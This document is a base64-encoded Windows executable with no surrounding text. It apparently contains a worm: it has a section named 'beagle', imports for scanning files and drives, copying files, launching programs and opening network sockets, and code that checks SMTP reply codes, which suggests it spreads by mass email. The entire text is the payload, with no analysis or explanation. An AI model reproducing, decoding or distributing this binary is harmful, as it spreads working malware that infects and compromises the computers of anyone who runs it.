TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q 6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+ //9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1 oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/ //9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo//// dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+ Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA 6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA 5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4 AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0 AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B 